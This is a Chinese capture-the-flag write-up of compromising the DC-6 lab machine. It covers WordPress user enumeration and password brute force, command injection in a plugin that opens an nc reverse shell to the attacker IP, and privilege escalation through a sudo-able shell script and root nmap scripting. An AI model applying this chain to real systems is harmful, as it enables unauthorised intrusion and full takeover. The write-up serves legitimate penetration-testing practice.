DC-6 writeup

DC-6渗透过程（kali IP:192.168.229.132 靶机IP:192.168.229.154）

**一.信息收集**
nmap -sP 192.168.229.0/24
nmap -sV -p- 192.168.229.154
dirsearch -u 192.168.229.154

得到信息：CMS：worapress 5.1.1  wordpressthemes：twenty seventeen  中间件：apache 2.4.25  语言：PHP  数据库：MySQL

**二.漏洞查找与利用**
wpscan --url wordy -e u    //爆破用户名，并把结果复制到test1
zcat /usr/share/wordlists/rockyou.txt.gz | grep k01 > test    //根据官方提示密码包含k01能节省很多时间
wpscan --url -U test1 -P test    //爆破出来一个用户名密码mark / helpdesk01，登录进去看看
0.0.0.0 & ls     //找了一下发现activity monitor 里的tools 可以任意命令执行，用burp抓包到重放器
0.0.0.0 & nc -e /bin/bash 192.168.229.132 8888    //用nc连接虚拟shell到kali

**三.提权**
cat /etc/issue
uname -a    //查看发行版本，内核信息没有发现可以利用的|
find / -perm -u=s -type f 2>/dev/null    //查看哪些有suid权限，也发现没有可用的，则从用户入手
cd /home
ls
cd mark
ls
cd stuff
ls
cat things*    //查看mark里面的信息，发现里面有graham的密码GSo7isUM1D4,用kali连接
ssh graham@192.168.229.154
sudo -l    //发现能以jens执行/home/jens/backups.sh,可以利用这个文件切换成jens用户
cd /home/jens
echo "/bin/bash" > backups.sh
sudo -u jens ./backups.sh    //切换为jens用户了
sudo -l    //发现nmap可以以root身份执行，用nmap提权
echo "os.execute('/bin/bash')" > shell
sudo nmap --script=shell    //得到root权限
find / -name * flag.*
cat theflag.txt